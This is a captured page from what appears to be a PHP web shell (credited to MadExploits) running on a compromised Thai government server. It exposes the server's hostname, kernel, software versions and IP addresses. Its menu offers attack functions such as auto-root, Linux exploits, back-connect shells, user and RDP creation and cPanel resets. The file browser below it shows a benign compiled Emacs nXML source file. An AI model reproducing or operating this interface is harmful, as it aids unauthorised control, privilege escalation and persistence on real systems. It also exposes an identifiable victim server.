Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
nxml /
[ HOME SHELL ]
Name
Size
Permission
Action
TODO
13.76
KB
-rw-r--r--
nxml-enc.elc
3.56
KB
-rw-r--r--
nxml-glyph.elc
7.8
KB
-rw-r--r--
nxml-maint.elc
2.24
KB
-rw-r--r--
nxml-mode.elc
69.67
KB
-rw-r--r--
nxml-ns.elc
4.19
KB
-rw-r--r--
nxml-outln.elc
28.22
KB
-rw-r--r--
nxml-parse.elc
8.77
KB
-rw-r--r--
nxml-rap.elc
11.25
KB
-rw-r--r--
nxml-uchnm.elc
6.77
KB
-rw-r--r--
nxml-util.elc
4.41
KB
-rw-r--r--
rng-cmpct.elc
26.68
KB
-rw-r--r--
rng-dt.elc
1.97
KB
-rw-r--r--
rng-loc.elc
14.76
KB
-rw-r--r--
rng-maint.elc
6.12
KB
-rw-r--r--
rng-match.elc
47.01
KB
-rw-r--r--
rng-nxml.elc
14.93
KB
-rw-r--r--
rng-parse.elc
2.82
KB
-rw-r--r--
rng-pttrn.elc
3.69
KB
-rw-r--r--
rng-uri.elc
7.79
KB
-rw-r--r--
rng-util.elc
4.05
KB
-rw-r--r--
rng-valid.elc
35.72
KB
-rw-r--r--
rng-xsd.elc
24.32
KB
-rw-r--r--
xmltok.elc
39.71
KB
-rw-r--r--
xsd-regexp.elc
40.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rng-loc.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:04:37 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/nxml/rng-loc.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`rng-loc.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\300\303!\210\300\304!\210\300\305!\210\300\306!\207" [require nxml-util nxml-parse rng-parse rng-uri rng-util xmltok] 2) #@88 Filename of schema being used for current buffer. It is nil if using a vacuous schema. (defvar rng-current-schema-file-name nil (#$ . 770)) (make-variable-buffer-local 'rng-current-schema-file-name) #@57 Default value for variable `rng-schema-locating-files'. (defvar rng-schema-locating-files-default (byte-code "\301\302\303\"D\207" [data-directory "schemas.xml" expand-file-name "schema/schemas.xml"] 4) (#$ . 975)) #@51 File containing schema for schema locating files. (defvar rng-schema-locating-file-schema-file (expand-file-name "schema/locate.rnc" data-directory) (#$ . 1197)) #@60 Schema for schema locating files or nil if not yet loaded. (defvar rng-schema-locating-file-schema nil (#$ . 1365)) #@33 *List of schema locating files. (custom-declare-variable 'rng-schema-locating-files 'rng-schema-locating-files-default '(#$ . -1487) :type '(repeat file) :group 'relax-ng) #@56 Alist of schema extensions vs schema loader functions. (defvar rng-schema-loader-alist '(("rnc" . rng-c-load-schema)) (#$ . 1665)) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305B\302\305!\204 \303\305\304\"\210\304\207" [current-load-list rng-cached-document-element default-boundp set-default nil rng-document-type-history] 3) (defalias 'rng-set-document-type #[(type-id) "\300\301\302\217\207" [err (byte-code "\302\230?\205 \303!\211\204 \304\305\"\210\306 !\210)\307\310\"\210\311 \207" [type-id schema-file "" rng-locate-schema-file error "Could not locate schema for type id `%s'" rng-set-schema-file-1 rng-save-schema-location-1 t rng-what-schema] 4) ((nxml-file-parse-error (nxml-display-file-parse-error err)))] 3 nil (list (rng-read-type-id))]) (defalias 'rng-read-type-id #[nil "\300\301\302\217\207" [err (byte-code "\302 \303\304\305\306\307 \"\303\310\303\311&*\207" [completion-ignore-case type-ids rng-possible-type-ids nil completing-read "Document type id: " mapcar #[(x) "\301B\207" [x nil] 2] t rng-document-type-history] 7) ((nxml-file-parse-error (nxml-display-file-parse-error err)))] 3]) #@476 Set the schema for the current buffer to the schema in FILENAME. FILENAME must be the name of a file containing a schema. The extension of FILENAME is used to determine what kind of schema it is. The variable `rng-schema-loader-alist' maps from schema extensions to schema loader functions. The function `rng-c-load-schema' is the loader for RELAX NG compact syntax. The association is between the buffer and the schema: the association is lost when the buffer is killed. (defalias 'rng-set-schema-file #[(filename) "\300\301\302\217\207" [err (byte-code "\301!\210\302\303!\207" [filename rng-set-schema-file-1 rng-save-schema-location-1 t] 2) ((nxml-file-parse-error (nxml-display-file-parse-error err)))] 3 (#$ . 2808) "fSchema file: "]) #@69 Set the schema for the current buffer to allow any well-formed XML. (defalias 'rng-set-vacuous-schema #[nil "\300\301!\210\302 \207" [rng-set-schema-file-1 nil rng-what-schema] 2 (#$ . 3559) nil]) (defalias 'rng-set-schema-file-1 #[(filename) "\205 \304!\211\203 \305!\202 \306\307!\207" [filename rng-any-element rng-current-schema rng-current-schema-file-name expand-file-name rng-load-schema run-hooks rng-schema-change-hook] 3]) (defalias 'rng-load-schema #[(filename) "\304!\305 \n\"A\211\204 \203 \306\307 \"\210\202 \306\310!\210 !*\207" [filename extension rng-schema-loader-alist loader file-name-extension assoc error "No schema loader available for file extension `%s'" "No schema loader available for null file extension"] 4]) #@68 Display a message saying what schema `rng-validate-mode' is using. (defalias 'rng-what-schema #[nil "\203 \301\302\303!\"\207\301\304!\207" [rng-current-schema-file-name message "Using schema %s" abbreviate-file-name "Using vacuous schema"] 4 (#$ . 4323) nil]) #@78 Set the schema for this buffer based on the buffer's contents and file-name. (defalias 'rng-auto-set-schema #[(&optional no-display-error) "\300\301\302\217\207" [err (byte-code "\300\301 !\210\302 \207" [rng-set-schema-file-1 rng-locate-schema-file rng-what-schema] 2) ((nxml-file-parse-error (byte-code "\203 \302\303\304 8\305 8\306 A@!$\207\307 !\207" [no-display-error err error "%s at position %s in %s" 3 2 abbreviate-file-name nxml-display-file-parse-error] 6)))] 3 (#$ . 4593) nil]) #@173 Return the file-name of the schema to use for the current buffer. Return nil if no schema could be located. If TYPE-ID is non-nil, then locate the schema for this TYPE-ID. (defalias 'rng-locate-schema-file #[(&optional type-id) "\306 \203\f \306B\202 \307\n!\306\211 :\203G \n @\306 \235\203+ \310\311 \"\210 B\f\203 \204 \312 \f@\"\fA\211\2043 \202 \205N \313 !,\207" [rng-cached-document-element type-id rng-schema-locating-files schema files type-ids nil rng-locate-schema-file-using error "Type-id loop for type-id `%s'" rng-locate-schema-file-from-type-id rng-uri-file-name] 4 (#$ . 5094)]) #@38 Return a list of the known type IDs. (defalias 'rng-possible-type-ids #[nil "\303\211\203 \304\n@ \"\nA\211\204 \305\306 \307\"!*\207" [rng-schema-locating-files type-ids files nil rng-possible-type-ids-using rng-uniquify-equal sort string<] 5 (#$ . 5715)]) #@160 Locate a schema using the schema locating files FILES. FILES is a list of file-names. Return either a URI, a list (TYPE-ID) where TYPE-ID is a string, or nil. (defalias 'rng-locate-schema-file-using #[(files) "\306\211\211\n\204 \203 \307 @! A\202 \n\203\240 \203% \203\240 \n@\211 @\211 \310N \nA\203U \203B >\203J \fA! \210\311 >G\"\202\234 \312=\203\200 \204\234 \313\fA\236A\211 \203| \314!\211 >\204| C\244)\202\234 \315=\203\234 \302\fA\236A\211 \203\233 \316\307\317!!\n\")+\202 +\207" [best-so-far preferred-types rules files rule rule-type nil rng-get-parsed-schema-locating-file rng-rule-matcher nbutlast applyFollowingRules ruleType intern include append rng-uri-file-name rule-matcher prefer uri] 5 (#$ . 5987)]) (byte-code "\300\301\302\303#\210\300\304\302\305#\210\300\306\302\307#\210\300\310\302\311#\210\300\312\302\313#\207" [put documentElement rng-rule-matcher rng-match-document-element-rule namespace rng-match-namespace-rule uri rng-match-uri-rule transformURI rng-match-transform-uri-rule default rng-match-default-rule] 4) (defalias 'rng-match-document-element-rule #[(props) "\304 \302\236A\305\236A\n\203' \nG\306U\203 A@?\202$ \n A@\230\2056 \2033 \307 8\230\2056 \310!+\207" [props local-name prefix document-element rng-document-element localName 0 2 rng-match-default-rule] 4]) (defalias 'rng-match-namespace-rule #[(props) "\303 \301\236A\211\205# \205# \n@ \304\230?\205 \305 !=\205# \306!*\207" [props ns document-element rng-document-element "" nxml-make-namespace rng-match-default-rule] 4]) #@113 Return a list (NS PREFIX LOCAL-NAME). NS is t if the document has a non-nil, but not otherwise known namespace. (defalias 'rng-document-element #[nil "\206< \212\214~\210eb\210\306\211\306\211\211\211\211\211\211\211 \307 \210\310 \210\311>\2058 \312 \313 \314 E.\f\211\207" [rng-cached-document-element xmltok-dtd xmltok-errors xmltok-dependent-regions xmltok-namespace-attributes xmltok-attributes nil xmltok-forward-prolog xmltok-forward (start-tag partial-start-tag empty-element partial-empty-element) rng-get-start-tag-namespace xmltok-start-tag-prefix xmltok-start-tag-local-name xmltok-replacement xmltok-name-end xmltok-name-colon xmltok-start xmltok-type] 10 (#$ . 7581)]) (defalias 'rng-get-start-tag-namespace #[nil "\305 \306\211\211\f\203? \f@\fA \203% \307 !\203 \310 ! \230\202) \307 !?\203 \311 !\211\203: \312!\202; \313\202 \203K \n\204K \313\202L \n,\207" [value att namespace prefix xmltok-namespace-attributes xmltok-start-tag-prefix nil xmltok-attribute-prefix xmltok-attribute-local-name xmltok-attribute-value nxml-make-namespace t] 5]) (defalias 'rng-match-transform-uri-rule #[(props) "\304\236A\305\236A\306 \205$ \307 !\211\205$ \310 \"\205$ \311\312\313\217+\207" [props file-name to-pattern from-pattern fromPattern toPattern buffer-file-name expand-file-name rng-file-name-matches-uri-pattern-p nil (byte-code "\304\305 \306\216\307 !*\310\311\n$\312 !\205 \313 !\205 \314 !)\207" [save-match-data-internal to-pattern file-name new-file-name replace-match match-data ((byte-code "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3)) rng-uri-pattern-file-name-replace-match t nil file-name-absolute-p file-exists-p rng-file-name-uri] 5) ((rng-uri-error))] 3]) (defalias 'rng-match-uri-rule #[(props) "\303\236A\302\236A\304 \2052 \305 !\211\2052 \203$ \306\307\310\217\202, \n\2052 \311 \n\"\2052 \312!+\207" [props file-name pattern resource buffer-file-name expand-file-name nil (byte-code "\303\304!\305\306\307 !\305\306\n&\310=\207" [resource file-name nxml-file-name-ignore-case compare-strings rng-uri-file-name 0 nil expand-file-name t] 8) ((rng-uri-error)) rng-file-name-matches-uri-pattern-p rng-match-default-rule] 3]) (defalias 'rng-file-name-matches-uri-pattern-p #[(file-name pattern) "\300\301\302\217\207" [nil (byte-code "\304\305\n! \")\205 \306\207" [nxml-file-name-ignore-case case-fold-search pattern file-name string-match rng-uri-pattern-file-name-regexp t] 3) ((rng-uri-error))] 3]) (defalias 'rng-match-default-rule #[(props) "\302\236A\206 \303\236A\211\205 \304 !\305B)\207" [props type-id uri typeId rng-collapse-space nil] 3]) (defalias 'rng-possible-type-ids-using #[(file type-ids) "\306!\307\n\203I \n@\nA @\310=\203+ \303 A\236A\211\203' \311 !\fB)\202 @\312=\203 \302 A\236A\211 \203E \313\306\314 !!\f\")\202 \f*\207" [file rule rules id type-ids uri rng-get-parsed-schema-locating-file nil typeId rng-collapse-space include rng-possible-type-ids-using rng-uri-file-name] 5]) #@145 Locate the schema for type id TYPE-ID using schema locating file FILE. Return either a URI, a list (TYPE-ID) where TYPE-ID is a string, or nil. (defalias 'rng-locate-schema-file-from-type-id #[(type-id file) "\306!\307\211 \203V \n\204V @ A @\310=\2038 \304 A\236\211 \205, \311\fA! \230)\2038 \312 A!\202 @\313=\203 \303 A\236A\211 \203R \314 \315!\")\202 \n+\207" [file rule schema rules id type-id rng-get-parsed-schema-locating-file nil typeId rng-collapse-space rng-match-default-rule include rng-locate-schema-file-from-type-id rng-uri-file-name uri] 5 (#$ . 10624)]) (byte-code "\301B\302\301!\204 \303\301\304\"\210\304\207" [current-load-list rng-schema-locating-file-alist default-boundp set-default nil] 3) #@59 Return a list of rules for the schema locating file FILE. (defalias 'rng-get-parsed-schema-locating-file #[(file) "\305!\306 \"\307\310!8\311 \204\" \f\203 \312\f \"\311\202M \f\2034 \fA@ \232\2034 \313\f8\202M \314!\f\203E \f \nD\241\210\202L \nE B\n+\207" [file rng-schema-locating-file-alist parsed mtime cached expand-file-name assoc 5 file-attributes nil delq 2 rng-parse-schema-locating-file] 4 (#$ . 11367)]) (byte-code "\301B\302\303\304!!\207" [current-load-list rng-locate-namespace-uri (lambda (#1=#:defconst-tmp-var) (defconst rng-locate-namespace-uri #1#)) nxml-make-namespace "http://thaiopensource.com/ns/locating-rules/1.0"] 3) #@276 Return list of rules. Each rule has the form (TYPE (ATTR . VAL) ...), where TYPE is a symbol for the element name, ATTR is a symbol for the attribute and VAL is a string for the value. Attribute values representing URIs are made absolute and xml:base attributes are removed. (defalias 'rng-parse-schema-locating-file #[(file) "\204\f \203\f \306 !\203 \307\n\"\202 \310\n!\211\211 AA) \311\n! \312\211 \312\211 \312\211 \312\211 @\313B\232\203\302 \203\302 @ A:\203I @\211@=\203I \211 A@)\312\203\261 @\211@;\203\250 \314@!A\315>\203\236 \316\"BBA\211\204x \314A!\237BB\202I \237. \207" [rng-schema-locating-file-schema rng-schema-locating-file-schema-file file element x children rng-load-schema rng-parse-validate-file nxml-parse-file rng-file-name-uri nil "locatingRules" intern (uri rules resource) rng-uri-resolve base-uri child name rules atts att props prop-name prop-value rng-locate-namespace-uri] 4 (#$ . 12034)]) #@276 Save the association between the buffer's file and the current schema. This ensures that the schema that is currently being used will be used if the file is edited in a future session. The association will be saved to the first writable file in `rng-schema-locating-files'. (defalias 'rng-save-schema-location #[nil "\300\301!\207" [rng-save-schema-location-1 nil] 2 (#$ . 13052) nil]) (defalias 'rng-save-schema-location-1 #[(prompt &optional type-id) "\204\f \204\f \306\307!\210\n\310 \311 **\2039 \2049 \312*@!\2030 \313*@!\202 *A\211*\204 \204I +?\205\306\314!\202 \204Y +?\205\306\315!\202+\203q \316\317\320 \203i \321\202j \322 #!?\206\212\323 !q\210\324 ,\325 \326V\203\272 \311 -eb\210\311\211\211\211\211\211\211\211\211 . / 0 1 2 3 4 5 6\327 \210\330 \2106\331=\204\265 \306\332 \"\210.\n\202\317 \333\334\3357!\336\261\210` 8\337c\2108b\210)\340c\210\341 ! 9\317\342\343\344\341 !9\"! \203\352 \345\202\353 \346\343 \206\367 \344\341\f!9\"!$)c\210\347 \210,\203\316\317\350\310 \"!\205\351 *,\207" [rng-current-schema-file-name type-id rng-schema-locating-files file schema-file-name document-file-name error "Buffer is using a vacuous schema" buffer-file-name nil file-writable-p expand-file-name "No writable schema locating file configured" "Buffer does not have a filename" y-or-n-p format "Save %s to %s " "type identifier" "schema location" find-file-noselect buffer-modified-p buffer-size 0 xmltok-forward-prolog xmltok-forward start-tag "Locating file `%s' invalid" "<?xml version=\"1.0\"?>\n" "<locatingRules xmlns=\"" nxml-namespace-name "\">" "\n</locatingRules>\n" "\n" rng-file-name-uri "<uri resource=\"%s\" %s=\"%s\"/>" rng-escape-string rng-relative-uri "typeId" "uri" indent-according-to-mode "Save file %s " save-buffer files prompt modified xmltok-dtd xmltok-errors xmltok-dependent-regions xmltok-namespace-attributes xmltok-attributes xmltok-replacement xmltok-name-end xmltok-name-colon xmltok-start xmltok-type rng-locate-namespace-uri pos locating-file-uri] 10]) (provide 'rng-loc)
Close
